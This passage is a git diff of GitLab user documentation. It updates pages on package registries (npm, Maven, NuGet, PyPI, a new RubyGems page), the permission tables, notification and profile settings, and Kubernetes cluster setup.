`package_version` | string | yes | The package version. The following regex validates this: `\A(\.?[\w\+-]+\.?)+\z`. You can test your version strings on [Rubular](https://rubular.com/r/aNCV0wG5K14uq8). | `file_name` | string | yes | The filename. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), dots (`.`), hyphens (`-`), or underscores (`_`). | `status` | string | no | The package status. It can be `default` (default) or `hidden`. Hidden packages do not appear in the UI or [package API list endpoints](../../../api/packages.md). diff --git a/doc/user/packages/go_proxy/index.md b/doc/user/packages/go_proxy/index.md index 1fdc34e820e..36348fcde18 100644 --- a/doc/user/packages/go_proxy/index.md +++ b/doc/user/packages/go_proxy/index.md @@ -16,6 +16,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w With the Go proxy for GitLab, every project in GitLab can be fetched with the [Go proxy protocol](https://proxy.golang.org/). +For documentation of the specific API endpoints that the Go Proxy uses, see the +[Go Proxy API documentation](../../../api/packages/go_proxy.md). + ## Enable the Go proxy The Go proxy for GitLab is under development, and isn't ready for production use diff --git a/doc/user/packages/index.md b/doc/user/packages/index.md index b35015d0b67..74072aa95e1 100644 --- a/doc/user/packages/index.md +++ b/doc/user/packages/index.md @@ -4,7 +4,7 @@ group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Packages & Registries +# Packages and Registries **(FREE)** The GitLab [Package Registry](package_registry/index.md) acts as a private or public registry for a variety of common package managers. You can publish and share @@ -24,6 +24,7 @@ The Package Registry supports the following formats: <tr><td><a href="https://docs.gitlab.com/ee/user/packages/nuget_repository/index.html">NuGet</a></td><td>12.8+</td></tr> <tr><td><a href="https://docs.gitlab.com/ee/user/packages/pypi_repository/index.html">PyPI</a></td><td>12.10+</td></tr> <tr><td><a href="https://docs.gitlab.com/ee/user/packages/generic_packages/index.html">Generic packages</a></td><td>13.5+</td></tr> +<tr><td><a href="https://docs.gitlab.com/ee/user/packages/rubygems_registry/index.html">RubyGems</a></td><td>13.10+</td></tr> </table> </div> </div> @@ -49,7 +50,6 @@ guides you through the process. | P2 | [#36895](https://gitlab.com/gitlab-org/gitlab/-/issues/36895) | | Puppet | [#36897](https://gitlab.com/gitlab-org/gitlab/-/issues/36897) | | RPM | [#5932](https://gitlab.com/gitlab-org/gitlab/-/issues/5932) | -| RubyGems | [#803](https://gitlab.com/gitlab-org/gitlab/-/issues/803) | | SBT | [#36898](https://gitlab.com/gitlab-org/gitlab/-/issues/36898) | | Terraform | [Draft: Merge Request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18834) | | Vagrant | [#36899](https://gitlab.com/gitlab-org/gitlab/-/issues/36899) | diff --git a/doc/user/packages/maven_repository/index.md b/doc/user/packages/maven_repository/index.md index 828eec812fa..d4dc9f0ae78 100644 --- a/doc/user/packages/maven_repository/index.md +++ b/doc/user/packages/maven_repository/index.md @@ -9,9 +9,12 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5811) in GitLab Premium 11.3. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. -Publish [Maven](https://maven.apache.org) artifacts in your project’s Package Registry. +Publish [Maven](https://maven.apache.org) artifacts in your project's Package Registry. Then, install the packages whenever you need to use them as a dependency. +For documentation of the specific API endpoints that the Maven package manager +client uses, see the [Maven API documentation](../../../api/packages/maven.md). + ## Build a Maven package This section explains how to install Maven and build a package. @@ -868,3 +871,11 @@ package: - 'mvn help:system' - 'mvn package' ``` + +## Supported CLI commands + +The GitLab Maven repository supports the following Maven CLI commands: + +- `mvn deploy`: Publish your package to the Package Registry. +- `mvn install`: Install packages specified in your Maven project. +- `mvn dependency:get`: Install a specific package. diff --git a/doc/user/packages/npm_registry/index.md b/doc/user/packages/npm_registry/index.md index f048440e383..b6312002184 100644 --- a/doc/user/packages/npm_registry/index.md +++ b/doc/user/packages/npm_registry/index.md @@ -124,7 +124,7 @@ npm config set @foo:registry https://gitlab.example.com/api/v4/projects/<your_pr # Add the token for the scoped packages URL. Replace <your_project_id> # with the project where your package is located. -npm config set '//gitlab.example.com/api/v4/projects/<your_project_id>/packages/npm/:_authToken' "<your_token>" +npm config set -- '//gitlab.example.com/api/v4/projects/<your_project_id>/packages/npm/:_authToken' "<your_token>" ``` - `<your_project_id>` is your project ID, found on the project's home page. @@ -147,7 +147,7 @@ npm config set @foo:registry https://gitlab.example.com/api/v4/packages/npm/ # Add the token for the scoped packages URL. This will allow you to download # `@foo/` packages from private projects. -npm config set '//gitlab.example.com/api/v4/packages/npm/:_authToken' "<your_token>" +npm config set -- '//gitlab.example.com/api/v4/packages/npm/:_authToken' "<your_token>" ``` - `<your_token>` is your personal access token or deploy token. @@ -189,8 +189,8 @@ To use the [instance-level](#use-the-gitlab-endpoint-for-npm-packages) npm endpo To avoid hard-coding the `authToken` value, you may use a variable in its place: ```shell -npm config set '//gitlab.example.com/api/v4/projects/<your_project_id>/packages/npm/:_authToken' "${NPM_TOKEN}" -npm config set '//gitlab.example.com/api/v4/packages/npm/:_authToken' "${NPM_TOKEN}" +npm config set -- '//gitlab.example.com/api/v4/projects/<your_project_id>/packages/npm/:_authToken' "${NPM_TOKEN}" +npm config set -- '//gitlab.example.com/api/v4/packages/npm/:_authToken' "${NPM_TOKEN}" ``` Then, you can run `npm publish` either locally or by using GitLab CI/CD. @@ -251,9 +251,6 @@ Prerequisites: - [Authenticate](#authenticate-to-the-package-registry) to the Package Registry. - Set a [project-level npm endpoint](#use-the-gitlab-endpoint-for-npm-packages). -- Your npm package name must be in the format of [@scope/package-name](#package-naming-convention). - It must match exactly, including the case. This is different than the - npm naming convention, but it is required to work with the GitLab Package Registry. To upload an npm package to your project, run this command: @@ -263,6 +260,16 @@ npm publish To view the package, go to your project's **Packages & Registries**. +You can also define `"publishConfig"` for your project in `package.json`. For example: + +```json +{ +"publishConfig": { "@foo:registry":" https://gitlab.example.com/api/v4/projects/<your_project_id>/packages/npm/" } +} +``` + +This forces the package to publish only to the specified registry. + If you try to publish a package [with a name that already exists](#publishing-packages-with-the-same-name-or-version) within a given scope, you get a `403 Forbidden!` error. @@ -402,6 +409,9 @@ Due to a bug in npm 6.9.0, deleting distribution tags fails. Make sure your npm ## Troubleshooting +When troubleshooting npm issues, first run the same command with the `--verbose` flag to confirm +what registry you are hitting. + ### Error running Yarn with the Package Registry for npm registry If you are using [Yarn](https://classic.yarnpkg.com/en/) with the npm registry, you may get @@ -469,8 +479,9 @@ NPM_TOKEN=<your_token> npm install If you get this error, ensure that: - Your token is not expired and has appropriate permissions. -- [Your token does not begin with `-`](https://gitlab.com/gitlab-org/gitlab/-/issues/235473). - A package with the same name or version doesn't already exist within the given scope. +- Your NPM package name does not contain a dot `.`. This is a [known issue](https://gitlab.com/gitlab-org/gitlab-ee/issues/10248) + in GitLab 11.9 and earlier. - The scoped packages URL includes a trailing slash: - Correct: `//gitlab.example.com/api/v4/packages/npm/` - Incorrect: `//gitlab.example.com/api/v4/packages/npm` @@ -504,4 +515,19 @@ This is usually a permissions issue with either: - The remote bucket if [object storage](../../../administration/packages/#using-object-storage) is used. -In the latter case, ensure the bucket exists and the GitLab has write access to it. +In the latter case, ensure the bucket exists and GitLab has write access to it. + +## Supported CLI commands + +The GitLab npm repository supports the following commands for the npm CLI (`npm`) and yarn CLI +(`yarn`): + +- `npm install`: Install npm packages. +- `npm publish`: Publish an npm package to the registry. +- `npm dist-tag add`: Add a dist-tag to an npm package. +- `npm dist-tag ls`: List dist-tags for a package. +- `npm dist-tag rm`: Delete a dist-tag. +- `npm ci`: Install npm packages directly from your `package-lock.json` file. +- `npm view`: Show package metadata. +- `yarn add`: Install an npm package. +- `yarn update`: Update your dependencies. diff --git a/doc/user/packages/nuget_repository/index.md b/doc/user/packages/nuget_repository/index.md index e1b61f28818..7e59b19076a 100644 --- a/doc/user/packages/nuget_repository/index.md +++ b/doc/user/packages/nuget_repository/index.md @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20050) in GitLab Premium 12.8. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. -Publish NuGet packages in your project’s Package Registry. Then, install the +Publish NuGet packages in your project's Package Registry. Then, install the packages whenever you need to use them as a dependency. The Package Registry works with: @@ -18,6 +18,9 @@ The Package Registry works with: - [.NET Core CLI](https://docs.microsoft.com/en-us/dotnet/core/tools/) - [Visual Studio](https://visualstudio.microsoft.com/vs/) +For documentation of the specific API endpoints that these +clients use, see the [NuGet API documentation](../../../api/packages/nuget.md). + ## Install NuGet The required minimum versions are: @@ -314,7 +317,7 @@ dotnet nuget push MyPackage.1.0.0.nupkg --source gitlab > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36424) in GitLab 13.3. -If you’re using NuGet with GitLab CI/CD, a CI job token can be used instead of a +If you're using NuGet with GitLab CI/CD, a CI job token can be used instead of a personal access token or deploy token. The token inherits the permissions of the user that generates the pipeline. @@ -390,3 +393,13 @@ dotnet add package <package_id> \ - `<package_id>` is the package ID. - `<package_version>` is the package version. Optional. + +## Supported CLI commands + +The GitLab NuGet repository supports the following commands for the NuGet CLI (`nuget`) and the .NET +CLI (`dotnet`): + +- `nuget push`: Upload a package to the registry. +- `dotnet nuget push`: Upload a package to the registry. +- `nuget install`: Install a package from the registry. +- `dotnet add`: Install a package from the registry. diff --git a/doc/user/packages/package_registry/index.md b/doc/user/packages/package_registry/index.md index 0e83843f3e8..f04f6f1316e 100644 --- a/doc/user/packages/package_registry/index.md +++ b/doc/user/packages/package_registry/index.md @@ -19,7 +19,8 @@ You can view packages for your project or group. 1. Go to the project or group. 1. Go to **Packages & Registries > Package Registry**. -You can search, sort, and filter packages on this page. +You can search, sort, and filter packages on this page. You can share your search results by copying +and pasting the URL from your browser. You can also find helpful code snippets for configuring your package manager or installing a given package. diff --git a/doc/user/packages/pypi_repository/index.md b/doc/user/packages/pypi_repository/index.md index a6cc5cf1f07..17b51e313fa 100644 --- a/doc/user/packages/pypi_repository/index.md +++ b/doc/user/packages/pypi_repository/index.md @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208747) in GitLab Premium 12.10. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Free in 13.3. -Publish PyPI packages in your project’s Package Registry. Then install the +Publish PyPI packages in your project's Package Registry. Then install the packages whenever you need to use them as a dependency. The Package Registry works with: @@ -17,6 +17,9 @@ The Package Registry works with: - [pip](https://pypi.org/project/pip/) - [twine](https://pypi.org/project/twine/) +For documentation of the specific API endpoints that the `pip` and `twine` +clients use, see the [PyPI API documentation](../../../api/packages/pypi.md). + ## Build a PyPI package This section explains how to create a PyPI package. @@ -356,3 +359,10 @@ characters are removed. A `pip install` request for `my.package` looks for packages that match any of the three characters, such as `my-package`, `my_package`, and `my....package`. + +## Supported CLI commands + +The GitLab PyPI repository supports the following CLI commands: + +- `twine upload`: Upload a package to the registry. +- `pip install`: Install a PyPI package from the registry. diff --git a/doc/user/packages/rubygems_registry/index.md b/doc/user/packages/rubygems_registry/index.md new file mode 100644 index 00000000000..aa50bc6c2bc --- /dev/null +++ b/doc/user/packages/rubygems_registry/index.md @@ -0,0 +1,137 @@ +--- +stage: Package +group: Package +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Ruby gems in the Package Registry **(FREE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/803) in [GitLab Free](https://about.gitlab.com/pricing/) 13.10. + +WARNING: +The Ruby gems registry for GitLab is under development and isn't ready for production use due to +limited functionality. + +You can publish Ruby gems in your project's Package Registry, then install the packages when you +need to use them as a dependency. Although you can push gems to the registry, you cannot install +them from the registry. However, you can download `gem` files directly from the Package Registry's +UI, or by using the [API](../../../api/packages/rubygems.md#download-a-gem-file). + +For documentation of the specific API endpoints that the Ruby gems and Bundler package manager +clients use, see the [Ruby gems API documentation](../../../api/packages/rubygems.md). + +## Enable the Ruby gems registry + +The Ruby gems registry for GitLab is behind a feature flag that is disabled by default. GitLab +administrators with access to the GitLab Rails console can enable this registry for your instance. + +To enable it: + +```ruby +Feature.enable(:rubygem_packages) +``` + +To disable it: + +```ruby +Feature.disable(:rubygem_packages) +``` + +To enable or disable it for specific projects: + +```ruby +Feature.enable(:rubygem_packages, Project.find(1)) +Feature.disable(:rubygem_packages, Project.find(2)) +``` + +## Create a Ruby Gem + +If you need help creating a Ruby gem, see the [RubyGems documentation](https://guides.rubygems.org/make-your-own-gem/). + +## Authenticate to the Package Registry + +Before you can push to the Package Registry, you must authenticate. + +To do this, you can use: + +- A [personal access token](../../../user/profile/personal_access_tokens.md) + with the scope set to `api`. +- A [deploy token](../../project/deploy_tokens/index.md) with the scope set to + `read_package_registry`, `write_package_registry`, or both. +- A [CI job token](#authenticate-with-a-ci-job-token). + +### Authenticate with a personal access token or deploy token + +To authenticate with a personal access token, create or edit the `~/.gem/credentials` file and add: + +```ini +--- +https://gitlab.example.com/api/v4/projects/<project_id>/packages/rubygems: '<your token>' +``` + +- `<your token>` must be the token value of either your personal access token or deploy token. +- Your project ID is on your project's home page. + +### Authenticate with a CI job token + +To work with RubyGems commands within [GitLab CI/CD](../../../ci/README.md), +you can use `CI_JOB_TOKEN` instead of a personal access token or deploy token. + +For example: + +```yaml +image: ruby:latest + +run: + script: +``` + +You can also use `CI_JOB_TOKEN` in a `~/.gem/credentials` file that you check in to +GitLab: + +```ini +--- +https://gitlab.example.com/api/v4/projects/${env.CI_PROJECT_ID}/packages/rubygems: '${env.CI_JOB_TOKEN}' +``` + +## Push a Ruby gem + +Prerequisites: + +- You must [authenticate to the Package Registry](#authenticate-to-the-package-registry). +- The maximum allowed gem size is 3 GB. + +To push your gem, run a command like this one: + +```shell +gem push my_gem-0.0.1.gem --host <host> +``` + +Note that `<host>` is the URL you used when setting up authentication. For example: + +```shell +gem push my_gem-0.0.1.gem --host https://gitlab.example.com/api/v4/projects/1/packages/rubygems +``` + +This message indicates that the gem uploaded successfully: + +```plaintext +Pushing gem to https://gitlab.example.com/api/v4/projects/1/packages/rubygems... +{"message":"201 Created"} +``` + +To view the published gem, go to your project's **Packages & Registries** page. Gems pushed to +GitLab aren't displayed in your project's Packages UI immediately. It can take up to 10 minutes to +process a gem. + +### Pushing gems with the same name or version + +You can push a gem if a package of the same name and version already exists. +Both are visible and accessible in the UI. However, only the most recently +pushed gem is used for installs. + +## Install a Ruby gem + +The Ruby gems registry for GitLab is under development, and isn't ready for production use. You +cannot install Gems from the registry. However, you can download `.gem` files directly from the UI +or by using the [API](../../../api/packages/rubygems.md#download-a-gem-file). diff --git a/doc/user/packages/workflows/project_registry.md b/doc/user/packages/workflows/project_registry.md index c63c2cc9989..3e1c1e7f2ad 100644 --- a/doc/user/packages/workflows/project_registry.md +++ b/doc/user/packages/workflows/project_registry.md @@ -4,7 +4,7 @@ group: Package info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Store all of your packages in one GitLab project +# Store all of your packages in one GitLab project **(FREE)** You can store all of your packages in one project's Package Registry. Rather than using a GitLab repository to store code, you can use the repository to store all your packages. diff --git a/doc/user/permissions.md b/doc/user/permissions.md index bde589661f9..7405c3aade8 100644 --- a/doc/user/permissions.md +++ b/doc/user/permissions.md @@ -39,12 +39,13 @@ usernames. A GitLab administrator can configure the GitLab instance to NOTE: In GitLab 11.0, the Master role was renamed to Maintainer. -While Maintainer is the highest project-level role, some actions can only be performed by a personal namespace or group owner, -or an instance administrator, who receives all permissions. For more information, see [projects members documentation](project/members/index.md). +The Owner permission is only available at the group or personal namespace level (and for instance administrators) and is inherited by its projects. +While Maintainer is the highest project-level role, some actions can only be performed by a personal namespace or group owner, or an instance administrator, who receives all permissions. +For more information, see [projects members documentation](project/members/index.md). The following table depicts the various user permission levels in a project. -| Action | Guest | Reporter | Developer |Maintainer| Owner (*10*) | +| Action | Guest | Reporter | Developer |Maintainer| Owner | |---------------------------------------------------|---------|------------|-------------|----------|--------| | Download project | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ | | Leave comments | ✓ | ✓ | ✓ | ✓ | ✓ | @@ -65,7 +66,7 @@ The following table depicts the various user permission levels in a project. | Download and browse job artifacts | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ | | Create confidential issue | ✓ | ✓ | ✓ | ✓ | ✓ | | Create new issue | ✓ | ✓ | ✓ | ✓ | ✓ | -| See related issues | ✓ | ✓ | ✓ | ✓ | ✓ | +| See linked issues | ✓ | ✓ | ✓ | ✓ | ✓ | | View [Releases](project/releases/index.md) | ✓ (*6*) | ✓ | ✓ | ✓ | ✓ | | View requirements **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ | | View Insights **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ | @@ -81,18 +82,18 @@ The following table depicts the various user permission levels in a project. | [Set issue estimate and record time spent](project/time_tracking.md) | | ✓ | ✓ | ✓ | ✓ | | Lock issue threads | | ✓ | ✓ | ✓ | ✓ | | Manage issue tracker | | ✓ | ✓ | ✓ | ✓ | -| Manage related issues | | ✓ | ✓ | ✓ | ✓ | +| Manage linked issues | | ✓ | ✓ | ✓ | ✓ | | Manage labels | | ✓ | ✓ | ✓ | ✓ | | Create code snippets | | ✓ | ✓ | ✓ | ✓ | | See a commit status | | ✓ | ✓ | ✓ | ✓ | | See a container registry | | ✓ | ✓ | ✓ | ✓ | | See environments | | ✓ | ✓ | ✓ | ✓ | +| See [DORA metrics](analytics/ci_cd_analytics.md) | | ✓ | ✓ | ✓ | ✓ | | See a list of merge requests | | ✓ | ✓ | ✓ | ✓ | | View CI/CD analytics | | ✓ | ✓ | ✓ | ✓ | | View Code Review analytics **(STARTER)** | | ✓ | ✓ | ✓ | ✓ | | View Repository analytics | | ✓ | ✓ | ✓ | ✓ | | View Error Tracking list | | ✓ | ✓ | ✓ | ✓ | -| Create new merge request | | ✓ | ✓ | ✓ | ✓ | | View metrics dashboard annotations | | ✓ | ✓ | ✓ | ✓ | | Archive/reopen requirements **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ | | Create/edit requirements **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ | @@ -107,6 +108,8 @@ The following table depicts the various user permission levels in a project. | Upload [Design Management](project/issues/design_management.md) files | | | ✓ | ✓ | ✓ | | Create/edit [releases](project/releases/index.md)| | | ✓ | ✓ | ✓ | | Delete [releases](project/releases/index.md)| | | | ✓ | ✓ | +| Manage merge approval rules (project settings) | | | | ✓ | ✓ | +| Create new merge request | | | ✓ | ✓ | ✓ | | Create new branches | | | ✓ | ✓ | ✓ | | Push to non-protected branches | | | ✓ | ✓ | ✓ | | Force push to non-protected branches | | | ✓ | ✓ | ✓ | @@ -169,12 +172,12 @@ The following table depicts the various user permission levels in a project. | Manage Terraform state | | | | ✓ | ✓ | | Manage license policy **(ULTIMATE)** | | | | ✓ | ✓ | | Edit comments (posted by any user) | | | | ✓ | ✓ | -| Reposition comments on images (posted by any user)|✓ (*11*) | ✓ (*11*) | ✓ (*11*) | ✓ | ✓ | +| Reposition comments on images (posted by any user)|✓ (*10*) | ✓ (*10*) | ✓ (*10*) | ✓ | ✓ | | Manage Error Tracking | | | | ✓ | ✓ | | Delete wiki pages | | | | ✓ | ✓ | -| View project Audit Events | | | ✓ (*12*) | ✓ | ✓ | +| View project Audit Events | | | ✓ (*11*) | ✓ | ✓ | | Manage [push rules](../push_rules/push_rules.md) | | | | ✓ | ✓ | -| Manage [project access tokens](project/settings/project_access_tokens.md) **(FREE SELF)** | | | | ✓ | ✓ | +| Manage [project access tokens](project/settings/project_access_tokens.md) **(FREE SELF)** **(PREMIUM SAAS)** (*12*) | | | | ✓ | ✓ | | View 2FA status of members | | | | ✓ | ✓ | | Switch visibility level | | | | | ✓ | | Transfer project to another namespace | | | | | ✓ | @@ -200,15 +203,16 @@ The following table depicts the various user permission levels in a project. 1. When [Share Group Lock](group/index.md#prevent-a-project-from-being-shared-with-groups) is enabled the project can't be shared with other groups. It does not affect group with group sharing. 1. For information on eligible approvers for merge requests, see [Eligible approvers](project/merge_requests/merge_request_approvals.md#eligible-approvers). -1. Owner permission is only available at the group or personal namespace level (and for instance admins) and is inherited by its projects. 1. Applies only to comments on [Design Management](project/issues/design_management.md) designs. 1. Users can only view events based on their individual actions. +1. Project access tokens are supported for self-managed instances on Free and above. They are also + supported on GitLab SaaS Premium and above (excluding [trial licenses](https://about.gitlab.com/free-trial)). ## Project features permissions ### Wiki and issues -Project features like wiki and issues can be hidden from users depending on +Project features like [wikis](project/wiki/index.md) and issues can be hidden from users depending on which visibility level you select on project settings. - Disabled: disabled for everyone @@ -290,12 +294,14 @@ group. | View group Audit Events | | | ✓ (7) | ✓ (7) | ✓ | | Disable notification emails | | | | | ✓ | | View Contribution analytics | ✓ | ✓ | ✓ | ✓ | ✓ | +| View Group DevOps Adoption **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ | | View Insights **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ | | View Issue analytics **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ | | View Productivity analytics **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ | | View Value Stream analytics | ✓ | ✓ | ✓ | ✓ | ✓ | | View Billing **(FREE SAAS)** | | | | | ✓ (4) | | View Usage Quotas **(FREE SAAS)** | | | | | ✓ (4) | +| Manage [group push rules](group/index.md#group-push-rules) **(PREMIUM)** | | | | ✓ | ✓ | | View 2FA status of members | | | | | ✓ | | Filter members by 2FA status | | | | | ✓ | | Administer project compliance frameworks | | | | | ✓ | @@ -329,7 +335,7 @@ project and should only have access to that project. External users: -- Cannot create projects (including forks), groups, or personal snippets. +- Can only create projects (including forks), subgroups, and snippets within the top-level group to which they belong. - Can only access public projects and projects to which they are explicitly granted access, thus hiding all other internal or private ones from them (like being logged out). @@ -482,10 +488,6 @@ instance and project. In addition, all admins can use the admin interface under NOTE: In GitLab 11.0, the Master role was renamed to Maintainer. -NOTE: -GitLab 8.12 has a completely redesigned job permissions system. -Read all about the [new model and its implications](project/new_ci_build_permissions_model.md). - This table shows granted privileges for jobs triggered by specific types of users: @@ -507,11 +509,6 @@ users: 1. Only if the user is not an external one 1. Only if the user is a member of the project -### New CI job permissions model - -GitLab 8.12 has a completely redesigned job permissions system. To learn more, -read through the documentation on the [new CI/CD permissions model](project/new_ci_build_permissions_model.md#new-ci-job-permissions-model). - ## Running pipelines on protected branches The permission to merge or push to protected branches is used to define if a user can diff --git a/doc/user/profile/account/two_factor_authentication.md b/doc/user/profile/account/two_factor_authentication.md index d26acd50189..23e5bf2d143 100644 --- a/doc/user/profile/account/two_factor_authentication.md +++ b/doc/user/profile/account/two_factor_authentication.md @@ -5,7 +5,7 @@ group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Two-factor authentication +# Two-factor authentication **(FREE)** Two-factor authentication (2FA) provides an additional level of security to your GitLab account. After being enabled, in addition to supplying your username and diff --git a/doc/user/profile/index.md b/doc/user/profile/index.md index 5bcfafa7196..4e4cdf5dc36 100644 --- a/doc/user/profile/index.md +++ b/doc/user/profile/index.md @@ -76,6 +76,9 @@ The following is hidden from your user profile page (`https://gitlab.example.com - Date when account was created - Tabs for activity, groups, contributed projects, personal projects, starred projects, snippets +NOTE: +Making your user profile page private does not hide your public resources from the REST or GraphQL APIs. + ## Add external accounts to your user profile page You can add links to certain other external accounts you might have, like Skype and Twitter. @@ -106,7 +109,8 @@ To show private contributions: ## Set your current status -> Introduced in GitLab 11.2. +> - Introduced in GitLab 11.2. +> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56649) in GitLab 13.10. You can provide a custom status message for your user profile along with an emoji that describes it. This may be helpful when you are out of office or otherwise not available. @@ -119,6 +123,7 @@ To set your current status: 1. Select **Set status** or, if you have already set a status, **Edit status**. 1. Set the desired emoji and status message. Status messages must be plain text and 100 characters or less. They can also contain emoji codes like, `I'm on vacation :palm_tree:`. +1. Select a value from the **Clear status after** dropdown. 1. Select **Set status**. Alternatively, you can select **Remove status** to remove your user status entirely. You can also set your current status by [using the API](../../api/users.md#user-status). diff --git a/doc/user/profile/notifications.md b/doc/user/profile/notifications.md index 4f28558cca6..4d890e249e7 100644 --- a/doc/user/profile/notifications.md +++ b/doc/user/profile/notifications.md @@ -5,12 +5,15 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Notification Emails +# GitLab Notification Emails **(FREE)** GitLab Notifications allow you to stay informed about what's happening in GitLab. With notifications enabled, you can receive updates about activity in issues, merge requests, epics, and designs. Notifications are sent via email. +For the tool that enables GitLab administrators to send messages to users, read +[Email from GitLab](../../tools/email.md). + ## Receiving notifications You receive notifications for one of the following reasons: @@ -50,16 +53,16 @@ These notification settings apply only to you. They do not affect the notificati ## Global notification settings -Your **Global notification settings** are the default settings unless you select different values for a project or a group. +Your **Global notification settings** are the default settings unless you select +different values for a project or a group. -- Notification email - - This is the email address your notifications are sent to. -- Global notification level - - This is the default [notification level](#notification-levels) which applies to all your notifications. -- Receive product marketing emails - - Check this checkbox if you want to receive periodic emails related to GitLab features. -- Receive notifications about your own activity. - - Check this checkbox if you want to receive notification about your own activity. Default: Not checked. +- **Notification email**: The email address your notifications are sent to. +- **Global notification level**: The default [notification level](#notification-levels) + which applies to all your notifications. +- **Receive product marketing emails**: Select this check box to receive periodic + emails about GitLab features. +- **Receive notifications about your own activity**: Select this check box to receive + notifications about your own activity. Not selected by default. ### Notification scope @@ -67,16 +70,16 @@ You can tune the scope of your notifications by selecting different notification Notification scope is applied in order of precedence (highest to lowest): -- Project - - For each project, you can select a notification level. Your project setting overrides the group setting. -- Group - - For each group, you can select a notification level. Your group setting overrides your default setting. -- Global (default) - - Your global, or _default_, notification level applies if you have not selected a notification level for the project or group in which the activity occurred. +- **Project**: For each project, you can select a notification level. Your project + setting overrides the group setting. +- **Group**: For each group, you can select a notification level. Your group setting + overrides your default setting. +- **Global (default)**: Your global, or _default_, notification level applies if you + have not selected a notification level for the project or group in which the activity occurred. #### Project notifications -You can select a notification level for each project. This can be useful if you need to closely monitor activity in select projects. +You can select a notification level for each project to help you closely monitor activity in select projects.  diff --git a/doc/user/profile/preferences.md b/doc/user/profile/preferences.md index 78900e145b7..540724f9185 100644 --- a/doc/user/profile/preferences.md +++ b/doc/user/profile/preferences.md @@ -51,7 +51,7 @@ See the epic for: - A list of known issues. - Our planned direction and next steps. -If you find an issue that isn’t listed, please leave a comment on the epic or create a +If you find an issue that isn't listed, please leave a comment on the epic or create a new issue. Dark mode is available as a navigation theme, for MVC and compatibility reasons. In @@ -124,7 +124,7 @@ You can include the following options for your default dashboard view: ### Group overview content The **Group overview content** dropdown allows you to choose what information is -displayed on a group’s home page. +displayed on a group's home page. You can choose between 2 options: @@ -134,7 +134,7 @@ You can choose between 2 options: ### Project overview content The **Project overview content** setting allows you to choose what content you want to -see on a project’s home page. +see on a project's home page. ### Tab width diff --git a/doc/user/project/badges.md b/doc/user/project/badges.md index 783232ca7f9..1834bc20aee 100644 --- a/doc/user/project/badges.md +++ b/doc/user/project/badges.md @@ -15,7 +15,7 @@ points to. Examples for badges can be the [pipeline status](../../ci/pipelines/s [test coverage](../../ci/pipelines/settings.md#test-coverage-report-badge), or ways to contact the project maintainers. - + ## Project badges diff --git a/doc/user/project/bulk_editing.md b/doc/user/project/bulk_editing.md index d7e8133f9ad..76ae4cf596b 100644 --- a/doc/user/project/bulk_editing.md +++ b/doc/user/project/bulk_editing.md @@ -33,7 +33,7 @@ When bulk editing issues in a project, you can edit the following attributes: - [Epic](../group/epics/index.md) - [Milestone](milestones/index.md) - [Labels](labels.md) -- [Health status](issues/index.md#health-status) +- [Health status](issues/managing_issues.md#health-status) - Notification subscription - [Iteration](../group/iterations/index.md) diff --git a/doc/user/project/clusters/add_remove_clusters.md b/doc/user/project/clusters/add_remove_clusters.md index 718c60ccf0e..1b4b4f38f4b 100644 --- a/doc/user/project/clusters/add_remove_clusters.md +++ b/doc/user/project/clusters/add_remove_clusters.md @@ -231,7 +231,7 @@ To add a Kubernetes cluster to your project, group, or instance: name: gitlab namespace: kube-system --- - apiVersion: rbac.authorization.k8s.io/v1beta1 + apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: gitlab-admin diff --git a/doc/user/project/clusters/index.md b/doc/user/project/clusters/index.md index aabda474043..c2d06e0a22c 100644 --- a/doc/user/project/clusters/index.md +++ b/doc/user/project/clusters/index.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -86,7 +86,7 @@ differentiates the new cluster from the rest. When adding more than one Kubernetes cluster to your project, you need to differentiate them with an environment scope. The environment scope associates clusters with [environments](../../../ci/environments/index.md) similar to how the -[environment-specific CI/CD variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables) work. +[environment-specific CI/CD variables](../../../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable) work. The default environment scope is `*`, which means all jobs, regardless of their environment, use that cluster. Each scope can be used only by a single cluster @@ -189,7 +189,7 @@ your 